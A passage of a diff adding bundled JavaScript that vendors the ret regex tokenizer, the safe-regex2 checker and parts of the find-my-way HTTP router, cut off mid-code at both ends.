types_1.types.CHAR, value: 8233 }, + { type: types_1.types.CHAR, value: 8239 }, + { type: types_1.types.CHAR, value: 8287 }, + { type: types_1.types.CHAR, value: 12288 }, + { type: types_1.types.CHAR, value: 65279 } + ]; + var NOTANYCHAR = () => [ + { type: types_1.types.CHAR, value: 10 }, + { type: types_1.types.CHAR, value: 13 }, + { type: types_1.types.CHAR, value: 8232 }, + { type: types_1.types.CHAR, value: 8233 } + ]; + exports.words = () => ({ type: types_1.types.SET, set: WORDS(), not: false }); + exports.notWords = () => ({ type: types_1.types.SET, set: WORDS(), not: true }); + exports.ints = () => ({ type: types_1.types.SET, set: INTS(), not: false }); + exports.notInts = () => ({ type: types_1.types.SET, set: INTS(), not: true }); + exports.whitespace = () => ({ type: types_1.types.SET, set: WHITESPACE(), not: false }); + exports.notWhitespace = () => ({ type: types_1.types.SET, set: WHITESPACE(), not: true }); + exports.anyChar = () => ({ type: types_1.types.SET, set: NOTANYCHAR(), not: true }); + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/util.js +var require_util2 = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/util.js"(exports) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + Object.defineProperty(o, k2, { enumerable: true, get: function() { + return m[k]; + } }); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __setModuleDefault = exports && exports.__setModuleDefault || (Object.create ? function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); + } : function(o, v) { + o["default"] = v; + }); + var __importStar = exports && exports.__importStar || function(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) { + for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + } + __setModuleDefault(result, mod); + return result; + }; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.tokenizeClass = exports.strToChars = void 0; + var types_1 = require_types4(); + var sets = __importStar(require_sets()); + var CTRL = "@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^ ?"; + exports.strToChars = (str) => { + const charsRegex = /(\[\\b\])|(\\)?\\(?:u([A-F0-9]{4})|x([A-F0-9]{2})|c([@A-Z[\\\]^?])|([0tnvfr]))/g; + return str.replace(charsRegex, (s, b2, lbs, a16, b16, dctrl, eslsh) => { + if (lbs) { + return s; + } + let code = b2 ? 8 : a16 ? parseInt(a16, 16) : b16 ? parseInt(b16, 16) : dctrl ? CTRL.indexOf(dctrl) : { + 0: 0, + t: 9, + n: 10, + v: 11, + f: 12, + r: 13 + }[eslsh]; + let c = String.fromCharCode(code); + return /[[\]{}^$.|?*+()]/.test(c) ? `\\${c}` : c; + }); + }; + exports.tokenizeClass = (str, regexpStr) => { + var _a3, _b, _c, _d, _e, _f, _g; + let tokens = [], rs, c; + const regexp = /\\(?:(w)|(d)|(s)|(W)|(D)|(S))|((?:(?:\\)(.)|([^\]\\]))-(((?:\\)])|(((?:\\)?([^\]])))))|(\])|(?:\\)?([^])/g; + while ((rs = regexp.exec(str)) !== null) { + const p = (_g = (_f = (_e = (_d = (_c = (_b = (_a3 = rs[1] && sets.words()) !== null && _a3 !== void 0 ? _a3 : rs[2] && sets.ints()) !== null && _b !== void 0 ? _b : rs[3] && sets.whitespace()) !== null && _c !== void 0 ? _c : rs[4] && sets.notWords()) !== null && _d !== void 0 ? _d : rs[5] && sets.notInts()) !== null && _e !== void 0 ? _e : rs[6] && sets.notWhitespace()) !== null && _f !== void 0 ? _f : rs[7] && { + type: types_1.types.RANGE, + from: (rs[8] || rs[9]).charCodeAt(0), + to: (c = rs[10]).charCodeAt(c.length - 1) + }) !== null && _g !== void 0 ? _g : (c = rs[16]) && { type: types_1.types.CHAR, value: c.charCodeAt(0) }; + if (p) { + tokens.push(p); + } else { + return [tokens, regexp.lastIndex]; + } + } + throw new SyntaxError(`Invalid regular expression: /${regexpStr}/: Unterminated character class`); + }; + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/tokenizer.js +var require_tokenizer = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/tokenizer.js"(exports) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + Object.defineProperty(o, k2, { enumerable: true, get: function() { + return m[k]; + } }); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __setModuleDefault = exports && exports.__setModuleDefault || (Object.create ? function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); + } : function(o, v) { + o["default"] = v; + }); + var __importStar = exports && exports.__importStar || function(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) { + for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + } + __setModuleDefault(result, mod); + return result; + }; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.tokenizer = void 0; + var util = __importStar(require_util2()); + var types_1 = require_types4(); + var sets = __importStar(require_sets()); + var captureGroupFirstChar = /^[a-zA-Z_$]$/i; + var captureGroupChars = /^[a-zA-Z0-9_$]$/i; + var digit = /\d/; + exports.tokenizer = (regexpStr) => { + let i = 0, c; + let start = { type: types_1.types.ROOT, stack: [] }; + let lastGroup = start; + let last = start.stack; + let groupStack = []; + let referenceQueue = []; + let groupCount = 0; + const repeatErr = (col) => { + throw new SyntaxError(`Invalid regular expression: /${regexpStr}/: Nothing to repeat at column ${col - 1}`); + }; + let str = util.strToChars(regexpStr); + while (i < str.length) { + switch (c = str[i++]) { + // Handle escaped characters, inclues a few sets. + case "\\": + if (i === str.length) { + throw new SyntaxError(`Invalid regular expression: /${regexpStr}/: \\ at end of pattern`); + } + switch (c = str[i++]) { + case "b": + last.push({ type: types_1.types.POSITION, value: "b" }); + break; + case "B": + last.push({ type: types_1.types.POSITION, value: "B" }); + break; + case "w": + last.push(sets.words()); + break; + case "W": + last.push(sets.notWords()); + break; + case "d": + last.push(sets.ints()); + break; + case "D": + last.push(sets.notInts()); + break; + case "s": + last.push(sets.whitespace()); + break; + case "S": + last.push(sets.notWhitespace()); + break; + default: + if (digit.test(c)) { + let digits = c; + while (i < str.length && digit.test(str[i])) { + digits += str[i++]; + } + let value = parseInt(digits, 10); + const reference = { type: types_1.types.REFERENCE, value }; + last.push(reference); + referenceQueue.push({ reference, stack: last, index: last.length - 1 }); + } else { + last.push({ type: types_1.types.CHAR, value: c.charCodeAt(0) }); + } + } + break; + // Positionals. + case "^": + last.push({ type: types_1.types.POSITION, value: "^" }); + break; + case "$": + last.push({ type: types_1.types.POSITION, value: "$" }); + break; + // Handle custom sets. + case "[": { + let not2; + if (str[i] === "^") { + not2 = true; + i++; + } else { + not2 = false; + } + let classTokens = util.tokenizeClass(str.slice(i), regexpStr); + i += classTokens[1]; + last.push({ + type: types_1.types.SET, + set: classTokens[0], + not: not2 + }); + break; + } + // Class of any character except \n. + case ".": + last.push(sets.anyChar()); + break; + // Push group onto stack. + case "(": { + let group = { + type: types_1.types.GROUP, + stack: [], + remember: true + }; + if (str[i] === "?") { + c = str[i + 1]; + i += 2; + if (c === "=") { + group.followedBy = true; + group.remember = false; + } else if (c === "!") { + group.notFollowedBy = true; + group.remember = false; + } else if (c === "<") { + let name = ""; + if (captureGroupFirstChar.test(str[i])) { + name += str[i]; + i++; + } else { + throw new SyntaxError(`Invalid regular expression: /${regexpStr}/: Invalid capture group name, character '${str[i]}' after '<' at column ${i + 1}`); + } + while (i < str.length && captureGroupChars.test(str[i])) { + name += str[i]; + i++; + } + if (!name) { + throw new SyntaxError(`Invalid regular expression: /${regexpStr}/: Invalid capture group name, character '${str[i]}' after '<' at column ${i + 1}`); + } + if (str[i] !== ">") { + throw new SyntaxError(`Invalid regular expression: /${regexpStr}/: Unclosed capture group name, expected '>', found '${str[i]}' at column ${i + 1}`); + } + group.name = name; + i++; + } else if (c === ":") { + group.remember = false; + } else { + throw new SyntaxError(`Invalid regular expression: /${regexpStr}/: Invalid group, character '${c}' after '?' at column ${i - 1}`); + } + } else { + groupCount += 1; + } + last.push(group); + groupStack.push(lastGroup); + lastGroup = group; + last = group.stack; + break; + } + // Pop group out of stack. + case ")": + if (groupStack.length === 0) { + throw new SyntaxError(`Invalid regular expression: /${regexpStr}/: Unmatched ) at column ${i - 1}`); + } + lastGroup = groupStack.pop(); + last = lastGroup.options ? lastGroup.options[lastGroup.options.length - 1] : lastGroup.stack; + break; + // Use pipe character to give more choices. + case "|": { + if (!lastGroup.options) { + lastGroup.options = [lastGroup.stack]; + delete lastGroup.stack; + } + let stack = []; + lastGroup.options.push(stack); + last = stack; + break; + } + // Repetition. + // For every repetition, remove last element from last stack + // then insert back a RANGE object. + // This design is chosen because there could be more than + // one repetition symbols in a regex i.e. `a?+{2,3}`. + case "{": { + let rs = /^(\d+)(,(\d+)?)?\}/.exec(str.slice(i)), min, max; + if (rs !== null) { + if (last.length === 0) { + repeatErr(i); + } + min = parseInt(rs[1], 10); + max = rs[2] ? rs[3] ? parseInt(rs[3], 10) : Infinity : min; + i += rs[0].length; + last.push({ + type: types_1.types.REPETITION, + min, + max, + value: last.pop() + }); + } else { + last.push({ + type: types_1.types.CHAR, + value: 123 + }); + } + break; + } + case "?": + if (last.length === 0) { + repeatErr(i); + } + last.push({ + type: types_1.types.REPETITION, + min: 0, + max: 1, + value: last.pop() + }); + break; + case "+": + if (last.length === 0) { + repeatErr(i); + } + last.push({ + type: types_1.types.REPETITION, + min: 1, + max: Infinity, + value: last.pop() + }); + break; + case "*": + if (last.length === 0) { + repeatErr(i); + } + last.push({ + type: types_1.types.REPETITION, + min: 0, + max: Infinity, + value: last.pop() + }); + break; + // Default is a character that is not `\[](){}?+*^$`. + default: + last.push({ + type: types_1.types.CHAR, + value: c.charCodeAt(0) + }); + } + } + if (groupStack.length !== 0) { + throw new SyntaxError(`Invalid regular expression: /${regexpStr}/: Unterminated group`); + } + updateReferences(referenceQueue, groupCount); + return start; + }; + function updateReferences(referenceQueue, groupCount) { + for (const elem of referenceQueue.reverse()) { + if (groupCount < elem.reference.value) { + elem.reference.type = types_1.types.CHAR; + const valueString = elem.reference.value.toString(); + elem.reference.value = parseInt(valueString, 8); + if (!/^[0-7]+$/.test(valueString)) { + let i = 0; + while (valueString[i] !== "8" && valueString[i] !== "9") { + i += 1; + } + if (i === 0) { + elem.reference.value = valueString.charCodeAt(0); + i += 1; + } else { + elem.reference.value = parseInt(valueString.slice(0, i), 8); + } + if (valueString.length > i) { + const tail = elem.stack.splice(elem.index + 1); + for (const char2 of valueString.slice(i)) { + elem.stack.push({ + type: types_1.types.CHAR, + value: char2.charCodeAt(0) + }); + } + elem.stack.push(...tail); + } + } + } + } + } + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/sets-lookup.js +var require_sets_lookup = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/sets-lookup.js"(exports) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + Object.defineProperty(o, k2, { enumerable: true, get: function() { + return m[k]; + } }); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __setModuleDefault = exports && exports.__setModuleDefault || (Object.create ? function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); + } : function(o, v) { + o["default"] = v; + }); + var __importStar = exports && exports.__importStar || function(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) { + for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + } + __setModuleDefault(result, mod); + return result; + }; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.NOTANYCHAR = exports.WHITESPACE = exports.WORDS = exports.INTS = void 0; + var Sets = __importStar(require_sets()); + var types_1 = require_types4(); + function setToLookup(tokens) { + let lookup = {}; + let len = 0; + for (const token of tokens) { + if (token.type === types_1.types.CHAR) { + lookup[token.value] = true; + } + if (token.type === types_1.types.RANGE) { + lookup[`${token.from}-${token.to}`] = true; + } + len += 1; + } + return { + lookup: () => Object.assign({}, lookup), + len + }; + } + exports.INTS = setToLookup(Sets.ints().set); + exports.WORDS = setToLookup(Sets.words().set); + exports.WHITESPACE = setToLookup(Sets.whitespace().set); + exports.NOTANYCHAR = setToLookup(Sets.anyChar().set); + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/write-set-tokens.js +var require_write_set_tokens = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/write-set-tokens.js"(exports) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + Object.defineProperty(o, k2, { enumerable: true, get: function() { + return m[k]; + } }); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __setModuleDefault = exports && exports.__setModuleDefault || (Object.create ? function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); + } : function(o, v) { + o["default"] = v; + }); + var __importStar = exports && exports.__importStar || function(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) { + for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + } + __setModuleDefault(result, mod); + return result; + }; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.writeSetTokens = exports.setChar = void 0; + var types_1 = require_types4(); + var sets = __importStar(require_sets_lookup()); + function setChar(charCode) { + return charCode === 94 ? "\\^" : charCode === 92 ? "\\\\" : charCode === 93 ? "\\]" : charCode === 45 ? "\\-" : String.fromCharCode(charCode); + } + exports.setChar = setChar; + function isSameSet(set2, { lookup, len }) { + if (len !== set2.length) { + return false; + } + const map2 = lookup(); + for (const elem of set2) { + if (elem.type === types_1.types.SET) { + return false; + } + const key = elem.type === types_1.types.CHAR ? elem.value : `${elem.from}-${elem.to}`; + if (map2[key]) { + map2[key] = false; + } else { + return false; + } + } + return true; + } + function writeSetTokens(set2, isNested = false) { + if (isSameSet(set2.set, sets.INTS)) { + return set2.not ? "\\D" : "\\d"; + } + if (isSameSet(set2.set, sets.WORDS)) { + return set2.not ? "\\W" : "\\w"; + } + if (set2.not && isSameSet(set2.set, sets.NOTANYCHAR)) { + return "."; + } + if (isSameSet(set2.set, sets.WHITESPACE)) { + return set2.not ? "\\S" : "\\s"; + } + let tokenString = ""; + for (let i = 0; i < set2.set.length; i++) { + const subset = set2.set[i]; + tokenString += writeSetToken(subset); + } + const contents = `${set2.not ? "^" : ""}${tokenString}`; + return isNested ? contents : `[${contents}]`; + } + exports.writeSetTokens = writeSetTokens; + function writeSetToken(set2) { + if (set2.type === types_1.types.CHAR) { + return setChar(set2.value); + } else if (set2.type === types_1.types.RANGE) { + return `${setChar(set2.from)}-${setChar(set2.to)}`; + } + return writeSetTokens(set2, true); + } + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/reconstruct.js +var require_reconstruct = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/reconstruct.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.reconstruct = void 0; + var types_1 = require_types4(); + var write_set_tokens_1 = require_write_set_tokens(); + var reduceStack = (stack) => stack.map(exports.reconstruct).join(""); + var createAlternate = (token) => { + if ("options" in token) { + return token.options.map(reduceStack).join("|"); + } else if ("stack" in token) { + return reduceStack(token.stack); + } else { + throw new Error(`options or stack must be Root or Group token`); + } + }; + exports.reconstruct = (token) => { + switch (token.type) { + case types_1.types.ROOT: + return createAlternate(token); + case types_1.types.CHAR: { + const c = String.fromCharCode(token.value); + return (/[[\\{}$^.|?*+()]/.test(c) ? "\\" : "") + c; + } + case types_1.types.POSITION: + if (token.value === "^" || token.value === "$") { + return token.value; + } else { + return `\\${token.value}`; + } + case types_1.types.REFERENCE: + return `\\${token.value}`; + case types_1.types.SET: + return write_set_tokens_1.writeSetTokens(token); + case types_1.types.GROUP: { + const prefix = token.name ? `?<${token.name}>` : token.remember ? "" : token.followedBy ? "?=" : token.notFollowedBy ? "?!" : "?:"; + return `(${prefix}${createAlternate(token)})`; + } + case types_1.types.REPETITION: { + const { min, max } = token; + let endWith; + if (min === 0 && max === 1) { + endWith = "?"; + } else if (min === 1 && max === Infinity) { + endWith = "+"; + } else if (min === 0 && max === Infinity) { + endWith = "*"; + } else if (max === Infinity) { + endWith = `{${min},}`; + } else if (min === max) { + endWith = `{${min}}`; + } else { + endWith = `{${min},${max}}`; + } + return `${exports.reconstruct(token.value)}${endWith}`; + } + case types_1.types.RANGE: + return `${write_set_tokens_1.setChar(token.from)}-${write_set_tokens_1.setChar(token.to)}`; + default: + throw new Error(`Invalid token type ${token}`); + } + }; + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/index.js +var require_dist4 = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/index.js"(exports, module) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + Object.defineProperty(o, k2, { enumerable: true, get: function() { + return m[k]; + } }); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __exportStar = exports && exports.__exportStar || function(m, exports2) { + for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports2, p)) __createBinding(exports2, m, p); + }; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.types = void 0; + var types_1 = require_types4(); + Object.defineProperty(exports, "types", { enumerable: true, get: function() { + return types_1.types; + } }); + __exportStar(require_tokenizer(), exports); + __exportStar(require_reconstruct(), exports); + var tokenizer_1 = require_tokenizer(); + var reconstruct_1 = require_reconstruct(); + __exportStar(require_types4(), exports); + exports.default = tokenizer_1.tokenizer; + module.exports = tokenizer_1.tokenizer; + module.exports.types = types_1.types; + module.exports.reconstruct = reconstruct_1.reconstruct; + } +}); + +// node_modules/.pnpm/safe-regex2@5.1.1/node_modules/safe-regex2/index.js +var require_safe_regex2 = __commonJS({ + "node_modules/.pnpm/safe-regex2@5.1.1/node_modules/safe-regex2/index.js"(exports, module) { + "use strict"; + var parse4 = require_dist4(); + var { types: types2 } = require_dist4(); + function walk(node, opts, starHeight) { + let i; + let ok; + let len; + if (node.type === types2.REPETITION) { + starHeight++; + opts.reps++; + if (starHeight > 1) return false; + if (opts.reps > opts.limit) return false; + } + const options = node.options || node.value?.options; + if (options) { + for (i = 0, len = options.length; i < len; i++) { + ok = walk({ stack: options[i] }, opts, starHeight); + if (!ok) return false; + } + } + const stack = node.stack || node.value?.stack; + if (!stack) return true; + for (i = 0, len = stack.length; i < len; i++) { + ok = walk(stack[i], opts, starHeight); + if (!ok) return false; + } + return true; + } + function safeRegex(re2, options) { + const opts = { + reps: 0, + limit: options?.limit ?? 25 + }; + if (isRegExp(re2)) re2 = re2.source; + else if (typeof re2 !== "string") re2 = String(re2); + try { + return walk(parse4(re2), opts, 0); + } catch { + return false; + } + } + function isRegExp(x) { + return Object.prototype.toString.call(x) === "[object RegExp]"; + } + module.exports = safeRegex; + module.exports.default = safeRegex; + module.exports.safeRegex = safeRegex; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/strategies/http-method.js +var require_http_method = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/strategies/http-method.js"(exports, module) { + "use strict"; + module.exports = { + name: "__fmw_internal_strategy_merged_tree_http_method__", + storage: function() { + const handlers = /* @__PURE__ */ new Map(); + return { + get: (type) => { + return handlers.get(type) || null; + }, + set: (type, store) => { + handlers.set(type, store); + } + }; + }, + /* c8 ignore next 1 */ + deriveConstraint: (req) => req.method, + mustMatchWhenDerived: true + }; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/pretty-print.js +var require_pretty_print = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/pretty-print.js"(exports, module) { + "use strict"; + var deepEqual = require_fast_deep_equal(); + var httpMethodStrategy = require_http_method(); + var treeDataSymbol = Symbol("treeData"); + function printObjectTree(obj, parentPrefix = "") { + let tree = ""; + const keys = Object.keys(obj); + for (let i = 0; i < keys.length; i++) { + const key = keys[i]; + const value = obj[key]; + const isLast = i === keys.length - 1; + const nodePrefix = isLast ? "\u2514\u2500\u2500 " : "\u251C\u2500\u2500 "; + const childPrefix = isLast ? " " : "\u2502 "; + const nodeData = value[treeDataSymbol] || ""; + const prefixedNodeData = nodeData.replaceAll("\n", "\n" + parentPrefix + childPrefix); + tree += parentPrefix + nodePrefix + key + prefixedNodeData + "\n"; + tree += printObjectTree(value, parentPrefix + childPrefix); + } + return tree; + } + function parseFunctionName(fn) { + let fName = fn.name || ""; + fName = fName.replace("bound", "").trim(); + fName = (fName || "anonymous") + "()"; + return fName; + } + function parseMeta(meta3) { + if (Array.isArray(meta3)) return meta3.map((m) => parseMeta(m)); + if (typeof meta3 === "symbol") return meta3.toString(); + if (typeof meta3 === "function") return parseFunctionName(meta3); + if (meta3 instanceof RegExp) return meta3.toString(); + return meta3; + } + function getRouteMetaData(route, options) { + if (!options.includeMeta) return {}; + const metaDataObject = options.buildPrettyMeta(route); + const filteredMetaData = {}; + let includeMetaKeys = options.includeMeta; + if (!Array.isArray(includeMetaKeys)) { + includeMetaKeys = Reflect.ownKeys(metaDataObject); + } + for (const metaKey of includeMetaKeys) { + if (!Object.prototype.hasOwnProperty.call(metaDataObject, metaKey)) continue; + const serializedKey = metaKey.toString(); + const metaValue = metaDataObject[metaKey]; + if (metaValue !== void 0 && metaValue !== null) { + const serializedValue = JSON.stringify(parseMeta(metaValue)); + filteredMetaData[serializedKey] = serializedValue; + } + } + return filteredMetaData; + } + function serializeMetaData(metaData) { + let serializedMetaData = ""; + for (const [key, value] of Object.entries(metaData)) { + serializedMetaData += ` +\u2022 (${key}) ${value}`; + } + return serializedMetaData; + } + function normalizeRoute(route) { + const constraints = { ...route.opts.constraints }; + const method = constraints[httpMethodStrategy.name]; + delete constraints[httpMethodStrategy.name]; + return { ...route, method, opts: { constraints } }; + } + function serializeConstraints(constraints) { + return JSON.stringify(constraints, (_key, value) => { + if (value instanceof RegExp) return value.toString(); + return value; + }); + } + function serializeRoute(route) { + let serializedRoute = ` (${route.method})`; + const constraints = route.opts.constraints || {}; + if (Object.keys(constraints).length !== 0) { + serializedRoute += " " + serializeConstraints(constraints); + } + serializedRoute += serializeMetaData(route.metaData); + return serializedRoute; + } + function mergeSimilarRoutes(routes) { + return routes.reduce((mergedRoutes, route) => { + for (const nodeRoute of mergedRoutes) { + if (deepEqual(route.opts.constraints, nodeRoute.opts.constraints) && deepEqual(route.metaData, nodeRoute.metaData)) { + nodeRoute.method += ", " + route.method; + return mergedRoutes; + } + } + mergedRoutes.push(route); + return mergedRoutes; + }, []); + } + function serializeNode(node, prefix, options) { + let routes = node.routes; + if (options.method === void 0) { + routes = routes.map(normalizeRoute); + } + routes = routes.map((route) => { + route.metaData = getRouteMetaData(route, options); + return route; + }); + if (options.method === void 0) { + routes = mergeSimilarRoutes(routes); + } + return routes.map(serializeRoute).join(` +${prefix}`); + } + function buildObjectTree(node, tree, prefix, options) { + if (node.isLeafNode || options.commonPrefix !== false) { + prefix = prefix || "(empty root node)"; + tree = tree[prefix] = {}; + if (node.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node, prefix, options); + } + prefix = ""; + } + if (node.staticChildrenNodes) { + for (const child of node.staticChildrenNodes) { + buildObjectTree(child, tree, prefix + child.prefix, options); + } + } + if (node.parametricChildren) { + for (const child of Object.values(node.parametricChildren)) { + const childPrefix = Array.from(child.nodePaths).join("|"); + buildObjectTree(child, tree, prefix + childPrefix, options); + } + } + if (node.wildcardChild) { + buildObjectTree(node.wildcardChild, tree, "*", options); + } + } + function prettyPrintTree(root, options) { + const objectTree = {}; + buildObjectTree(root, objectTree, root.prefix, options); + return printObjectTree(objectTree); + } + module.exports = { prettyPrintTree }; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/null-object.js +var require_null_object = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/null-object.js"(exports, module) { + "use strict"; + var NullObject = function() { + }; + NullObject.prototype = /* @__PURE__ */ Object.create(null); + module.exports = { + NullObject + }; + } +}); + +// node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/handler-storage.js +var require_handler_storage = __commonJS({ + "node_modules/.pnpm/find-my-way@9.9.0/node_modules/find-my-way/lib/handler-storage.js"(exports, module) { + "use strict"; + var { NullObject } = require_null_object(); + var httpMethodStrategy = require_http_method(); + var HandlerStorage = class { + constructor() { + this.unconstrainedHandler = null; + this.constraints = []; + this.handlers = []; + this.constrainedHandlerStores = null; + } + // This is the hot path for node handler finding -- change with care! + getMatchingHandler(derivedConstraints) { + if (derivedConstraints === void 0) { + return this.unconstrainedHandler; + } + return this._getHandlerMatchingConstraints(derivedConstraints); + } + addHandler(constrainer, route) { + const params = route.params; + const constraints = route.opts.constraints || {}; + const handlerObject = { + params, + constraints, + handler: route.handler, + store: route.store || null, + _createParamsObject: this._compileCreateParamsObject(params) + }; + const constraintsNames = Object.keys(constraints); + if (constraintsNames.length === 0) { + this.unconstrainedHandler = handlerObject; + } + for (const constraint of constraintsNames) { + if (!this.constraints.includes(constraint)) { + if (constraint === "version") { + this.constraints.unshift(constraint); + } else { + this.constraints.push(constraint); + } + } + } + const isMergedTree = constraintsNames.includes(httpMethodStrategy.name); + if (!isMergedTree && this.handlers.length >= 31) { + throw new Error("find-my-way supports a maximum of 31 route handlers per node when there are constraints, limit reached"); + } + this.handlers.push(handlerObject); + this.handlers.sort((a, b2) => Object.keys(a.constraints).length - Object.keys(b2.constraints).length); + if (!isMergedTree) { + this._compileGetHandlerMatchingConstraints(constrainer, constraints); + } + } + _compileCreateParamsObject(params) { + const fnBody = []; + fnBody.push("const fn = function _createParamsObject (paramsArray) {"); + fnBody.push("const params = new NullObject()"); + for (let i = 0; i < params.length; i++) { + fnBody.push(`params['${params[i]}'] = paramsArray[${i}]`); + } + fnBody.push("return params"); + fnBody.push("}"); + fnBody.push("return fn"); + return new Function("NullObject", fnBody.join("\n"))(NullObject); + } + _getHandlerMatchingConstraints() { + return null; + } + // Builds a store object that maps from constraint values to a bitmap of handler indexes which pass the constraint for a value + // So for a host constraint, this might look like { "fastify.io": 0b0010, "google.ca": 0b0101 }, meaning the 3rd handler is constrainted to fastify.io, and the 2nd and 4th handlers are constrained to google.ca. + // The store's implementation comes from the strategies provided to the Router. + _buildConstraintStore(store, constraint) { + for (let i = 0; i < this.handlers.length; i++) { + const handler = this.handlers[i]; + const constraintValue = handler.constraints[constraint]; + if (constraintValue !== void 0) { + let indexes = store.get(constraintValue) || 0; + indexes |= 1 << i; + store.set(constraintValue, indexes); + } + } + } + // Builds a bitmask for a given constraint that has a bit for each handler index that is 0 when that handler *is* constrained and 1 when the handler *isnt* constrainted. This is opposite to what might be obvious, but is just for convienience when doing the bitwise operations. + _constrainedIndexBitmask(constraint) { + let mask = 0; + for (let i = 0; i < this.handlers.length; i++) { + const handler = this.handlers[i]; + const constraintValue = handler.constraints[constraint]; + if (constraintValue !== void 0) { + mask |= 1 << i; + } + } + return ~mask; + } + // Compile a fast function to match the handlers for this node + // The function implements a general case multi-constraint matching algorithm. + // The general idea is this: we have a bunch of handlers, each with a potentially different set of constraints, and sometimes none at all. We're given a list of constraint values and we have to use the constraint-value-comparison strategies to see which handlers match the constraint values passed in. + // We do this by asking each constraint store which handler indexes match the given constraint value for each store. Trickily, the handlers that a store says match are the handlers constrained by that store, but handlers that aren't constrained at all by that store could still match just fine. So, each constraint store can only describe matches for it, and it won't have any bearing on the handlers it doesn't care about. For this reason, we have to ask each stores which handlers match and track which have been matched (or not cared about) by all of them. + // We use bitmaps to represent these lists of matches so we can use bitwise operations to implement this efficiently. Bitmaps are cheap to allocate, let us implement this masking behaviour in one CPU instruction, and are quite compact in memory. We start with a bitmap set to all 1s representing every handler that is a match candidate, and then for each constraint, see which handlers match using the store, and then mask the result by the mask of handlers that that store applies to, and bitwise AND with the candidate list. Phew. + // We consider all this compiling function complexity to be worth it, because the naive implementation that just loops over the handlers asking which stores match is quite a bit slower. + _compileGetHandlerMatchingConstraints(constrainer) { + this.constrainedHandlerStores = {}; + for (const constraint of this.constraints) { + const store = constrainer.newStoreForConstraint(constraint); + this.constrainedHandlerStores[constraint] = store; + this._buildConstraintStore(store, constraint); + } + const lines = []; + lines.push(` + let candidates = ${(1 << this.handlers.length) - 1} + let mask, matches + `); + for (const constraint of this.constraints) { + lines.push(` + mask = ${this._constrainedIndexBitmask(constraint)} + value = derivedConstraints.${constraint} + `); + const strategy = constrainer.strategies[constraint]; + const matchMask = strategy.mustMatchWhenDerived ? "matches" : "(matches | mask)"; + lines.push(` + if (value === undefined) { + candidates &= mask + } else { + matches = this.constrainedHandlerStores.${constraint}.get(value) || 0 + candidates &= ${matchMask} + } + if (candidates === 0) return null; + `); + } + for (const constraint in constrainer.strategies) { + if (!Object.hasOwn(constrainer.strategies, constraint)) continue; + const strategy = constrainer.strategies[constraint]; + if (strategy.mustMatchWhenDerived && !this.constraints.includes(constraint)) { + lines.push(`if (derivedConstraints.${constraint} !== undefined) return null`); + } + } + lines.push("return this.handlers[31 - Math.clz32(candidates)]"); + this._getHandlerMatchingConstraints = new 